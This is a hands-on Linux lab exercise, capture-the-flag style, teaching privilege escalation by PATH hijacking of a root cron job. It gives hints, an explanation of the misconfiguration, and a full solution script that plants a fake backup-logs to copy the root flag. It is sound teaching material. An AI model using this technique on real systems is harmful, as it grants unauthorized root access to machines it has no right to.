Root through PATH hijacking
A root cron job runs /opt/maint/collect.sh, which calls backup-logs by bare name with /opt/maint/bin first on its PATH — and that directory is world-writable.
Plant your own backup-logs there to copy the flag, wait for the job, and read it.
How it works: the terminal below is a real Linux machine running in your browser. Click it and
type. Tasks tick themselves off as you complete them; questions are answered in the box under each task.
Press Reset any time for a fresh machine. Your password on this machine (for
sudo) is student.
Hints
`cat /etc/cron.d/maint` shows PATH starts with /opt/maint/bin; `collect.sh` calls `backup-logs` by name.
Put a `#!/bin/sh` script named `backup-logs` in /opt/maint/bin that copies the flag, chmod +x it, wait ~75s.
Solution explanation
Root's collect.sh called backup-logs by bare name, and its cron line put the world-writable /opt/maint/bin first on PATH. You dropped a backup-logs of your own there; when the job next ran, the shell found yours first and root executed it — copying the flag out for you. Two small slips combined into a full compromise: a bare command name in a privileged script, and a writable directory ahead of the trusted ones on PATH.
Show solution
cd /home/student
cat /etc/cron.d/maint
cat /opt/maint/collect.sh
cat > /opt/maint/bin/backup-logs <<'EOF'
#!/bin/sh
cp /root/root.txt /home/student/loot.txt
chmod 644 /home/student/loot.txt
EOF
chmod +x /opt/maint/bin/backup-logs
sleep 75
cat /home/student/loot.txt